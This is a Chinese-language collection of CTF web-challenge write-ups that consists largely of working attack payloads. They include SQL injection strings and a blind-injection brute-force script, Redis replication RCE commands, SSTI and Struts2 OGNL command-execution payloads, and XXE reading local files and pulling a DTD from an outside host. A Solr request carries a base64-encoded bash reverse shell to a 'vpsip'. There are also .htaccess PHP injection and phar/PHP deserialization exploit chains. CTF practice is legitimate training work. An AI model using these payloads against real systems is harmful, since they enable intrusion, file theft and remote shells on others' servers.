Union注入,接口需要F12找,然后经典操作(存在假的FLAG_TABLE),拿着admin和密码hash登录就行(不需要解hash,有点反逻辑)

1
2
3
4
5
6
7
8
# 爆库名
-1+union+select+(select+group_concat(schema_name)+from+information_schema.schemata),2--+-
# 爆表名
-1+union+select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='news'),2--+-
# 爆列名
-1+union+select+(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),2--+-
# 跑数据
-1+union+select+(select+group_concat(username,0x23,password)+from+news.admin),2--+-

[第一章 web入门]sql注入-1

测了下,字符型,考虑闭合,无限制可用union出数据

1
2
3
4
5
-2'union+select+1,(select+group_concat(schema_name)+from+information_schema.schemata),3--+-

-2'union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='note'),3--+-

-2'union+select+1,(select+*+from+note.fl4g),3--+-

[Black Watch 入群题]Web

bool盲注,存在过滤,写出脚本(包含遍历和二分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import requests
import string
import time


def bool_sql_enumrate(startstr, payload, stopchar, dics,true_flag) -> None:
while True:
for i in range(1, len(dics) + 1):
exp = "('{}'=(select(substr(({}),1,{}))))".format(
startstr + dics[i - 1], payload, len(startstr + dics[i - 1])
)
resp = requests.get(url=url + exp)
if true_flag in resp.text:
startstr += dics[i - 1]
print(startstr)
break
time.sleep(0.1)
if dics[i - 1] == stopchar:
exit("爆破完毕")


def bool_sql_binaryseach(startstr, payload, true_flag, false_flag):
min_num, max_num = 32, 126
while True:
char_num = (min_num + max_num) // 2
if (char_num < min_num) or (char_num > max_num):
exit("爆破完毕")

exp = "(ASCII(SUBSTR(({}),{},1))={})".format(
payload, len(startstr) + 1, char_num
)
resp = requests.get(url=url + exp)
if true_flag in resp.text:
startstr += chr(char_num)
print(startstr)
# 重置min max
min_num, max_num = 32, 126
else:
exp = "(ASCII(SUBSTR(({}),{},1))>{})".format(
payload, len(startstr) + 1, char_num
)
resp = requests.get(url=url + exp)
if true_flag in resp.text:
min_num = char_num + 1
elif false_flag in resp.text:
max_num = char_num - 1
time.sleep(0.1)
# print(resp.text,exp)


if __name__ == "__main__":
dics = (
"eainrtoslcupmdghfbvwkxyzjq"
+ "eainrtoslcupmdghfbvwkxyzjq".upper()
+ string.digits
+ "_,.\'"
)
url = "http://xxxx/backend/content_detail.php?id="

# payload = "select(group_concat(schema_name))from(information_schema.schemata)"
# payload = "select(group_concat(table_name))from(information_schema.tables)where(table_schema='news')"
# payload = "select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')"
payload = "select(group_concat(username,0x5F,password))from(news.admin)"

bool_sql_enumrate("", payload, "#", dics+"#", "title")
# bool_sql_binaryseach("", payload, "title", "[]")

[Mysql]CVE-2012-2122

UDF提权,https://github.com/SafeGroceryStore/MDUT 一键提权,flag在env里

[Redis]UNACC

Redis未授权,打主从复制,加载恶意so,然后执行

1
2
3
4
config set dbfilename dump.rdb
slaveof vpsip port
module load /data/dump.rdb
system.exec id

[第三章 web进阶]SSTI

常规的ssti,env下的flag是假的

1
?password={{lipsum.__globals__['os'].popen('cat /proc/self/cwd/app/server.py').read()}}

[Flask]SSTI

常规的ssti,参数为name(此处有点脑洞),没有os可用,转为获取eval

1
?name={{lipsum.__globals__.__builtins__['eval']('__import__("os").popen("env").read()')}} 

[GYCTF2020]FlaskApp

带过滤版本的ssti,触发点在decode接口中,最后绕过的payload如下:

1
{{lipsum.__globals__.__builtins__['ev'+'al']('__imp'+'ort__("o"+"s").po'+'pen("cat /this_is_the_fl"+"ag.txt").read().encode("utf-8")')}}

[struts2]s2-053

读一读s2的OGNL注入挺有意思的,访问hello.action

1
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#cmds={'/bin/bash','-c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

BUU XXE COURSE 1

XXE读文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///flag">]>
<root> <username>&xxe;</username> <password>123</password></root>



<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">]>
<root> <username>&xxe;</username> <password>123</password></root>

或者报错

<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % condition '
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///xxx/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%condition;
]>
<message></message>

[BSidesCF 2019]SVGMagic

XXE打一个svg转换png,主要是flag地址猜解,很脑洞

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

[Solr]CVE-2017-12629-XXE

直接输出payload吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET /solr/demo/select?&q=%3C%3Fxml%20version%3D%221%2E0%22%20%3F%3E%3C%21DOCTYPE%20root%5B%3C%21ENTITY%20%25%20ext%20SYSTEM%20%22http%3A%2F%2Fxx%2Exx%2Exx%2Exx%3A18894%2Fsolr%2Edtd%22%3E%25ext%3B%25ent%3B%5D%3E%3Cr%3E%26data%3B%3C%2Fr%3E&data;%3C/r%3E&wt=xml&defType=xmlparser HTTP/1.1
Host: node4.buuoj.cn:28232
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

解码后为:
<?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://xx.xx.xx.xx:18894/solr.dtd">%ext;%ent;]><r>&data;</r>

远程dtd内容为(此处flag在env里,直接读会显示无效字符,此处xxe无法读)
<!ENTITY % file SYSTEM "netdoc:///proc/self/cwd/">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

[Solr]CVE-2017-12629-RCE

需注意一个name直接设置一次,多次执行命令需要更换name

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /solr/demo/config HTTP/1.1
Host: node4.buuoj.cn:28232
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 234

{"add-listener":{"event":"newSearcher","name":"newlistener5","class":"solr.RunExecutableListener","exe":"bash","dir":"/bin/","args":["-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNpcC81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}"]}}

[第三章 web进阶]Python里的SSRF

SSRF,拦了127.0.0.1,使用127.0.0.2绕过,这也是回环地址

1
?url=http://127.0.0.2:8000/api/internal/secret

[第二章 web进阶]SSRF Training

POST payload

1
file:///proc/self/cwd/flag.php

隐藏关,利用curl特性(需注明端口)

1
challenge.php?url=http://xxx@127.0.0.1:80@xxx/flag.php

[XNUCA2019Qualifier]EasyPHP

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>

可以看到卡的很死,不过可以上传.htaccess,遂构造

1
2
3
4
5
6
?filename=.htaccess&content=%70%68%70%5f%76%61%6c%75%65%20%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%5c%0a%6c%65%20%22%2e%68%74%61%63%63%65%73%73%22%0a%23%20%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%22%63%61%74%20%2f%66%6c%61%5c%67%22%29%3b%3f%3e%5c

# content内容urldecode为
php_value auto_prepend_fi\
le ".htaccess"
# <?php system("cat /fla\g");?>\

[CISCN2019 华北赛区 Day1 Web1]Dropbox

常规的phar反序列化。首先注册登陆上传文件,找到任意文件下载,读取class.php源码
class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

整理思路,构造POP链,注意这里不能直接从User触发File的close,这样只能读取没法回显。于是考虑,访问不存在的方法close时,可以触发call方法,然后利用FileList类触发File类的close,然后再利用其__destrcut输出结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

class User {
public $db;
public function __construct() {
$this->db = new FileList();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}

}

class File {
public $filename;
}

$o = new User();
@unlink("phar.jpg");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$phar->setMetadata($o);

$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

system("mv phar.phar phar.jpg");

需要注意,通过阅读源码得知download.php设置了base_dir,所以需要用delete.php触发。

[NewStar Week4] 逃

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

有个替换,能逃逸字节,exp:
key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat%20/flag";}//

[NewStar Week4] morefast

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
highlight_file(__FILE__);

class Start
{
public $errMsg;

public function __destruct()
{
die($this->errMsg);
}
}

class Pwn
{
public $obj;

public function __invoke()
{
$this->obj->evil();
}

public function evil()
{
phpinfo();
}
}

class Reverse
{
public $func;

public function __get($var)
{
($this->func)();
}
}

class Web
{
public $func;
public $var;

public function evil()
{
if (!preg_match("/flag/i", $this->var)) {
($this->func)($this->var);
} else {
echo "Not Flag";
}
}
}

class Crypto
{
public $obj;

public function __toString()
{
$wel = $this->obj->good;
return "NewStar";
}
}

class Misc
{
public function evil()
{
echo "good job but nothing";
}
}

$a = unserialize($_POST['fast']);
throw new Exception("Nope");

简单php反序列化,绕过最后的throw,exp:
fast=O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:9:"cat /fl??";}}}},2:{}}

flask disk

upload一个app.py就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import os
from flask import Flask, request

app = Flask(__name__)

@app.route('/')
def hello():
return 'Hello, World!'

@app.route('/run_cmd')
def run_cmd():
cmd = request.args.get('cmd', '')
result = os.system(cmd)
return f'Result: {result}'

if __name__ == '__main__':
app.run(port=5000)

InjectMe

任意文件读取到app.py源码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import os
import re

from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key

app = Flask(__name__)
app.secret_key = secret_key


@app.route('/')
def hello_world(): # put application's code here
return render_template('index.html')


@app.route("/cancanneed", methods=["GET"])
def cancanneed():
all_filename = os.listdir('./static/img/')
filename = request.args.get('file', '')
if filename:
return render_template('img.html', filename=filename, all_filename=all_filename)
else:
return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"


@app.route("/download", methods=["GET"])
def download():
filename = request.args.get('file', '')
if filename:
filename = filename.replace('../', '')
filename = os.path.join('static/img/', filename)
print(filename)
if (os.path.exists(filename)) and ("start" not in filename):
return send_file(filename)
else:
abort(500)
else:
abort(404)


@app.route('/backdoor', methods=["GET"])
def backdoor():
try:
print(session.get("user"))
if session.get("user") is None:
session['user'] = "guest"
name = session.get("user")
if re.findall(
r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
name):
abort(500)
else:
return render_template_string(
'竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
except Exception:
abort(500)


@app.errorhandler(404)
def page_not_find(e):
return render_template('404.html'), 404


@app.errorhandler(500)
def internal_server_error(e):
return render_template('500.html'), 500


if __name__ == '__main__':
app.run('0.0.0.0', port=8080)

再读一下config.py拿secretkey:y0u_n3ver_k0nw_s3cret_key_1s_newst4r
最后构造ssti,这里有坑,payload长度太长的时候,出现的cookie可能以.开头,一开始以为这里有问题(base64乱码),实际不会。需要注意,由于需要伪造session,payload不能有空格,于是:
{"user":"{%print(url_for['_''_glo''bals_''_']['o''s']['pop''en']('ca''t$IFS$9/y0U3_f14g_1s_h3re')['read']())%}"}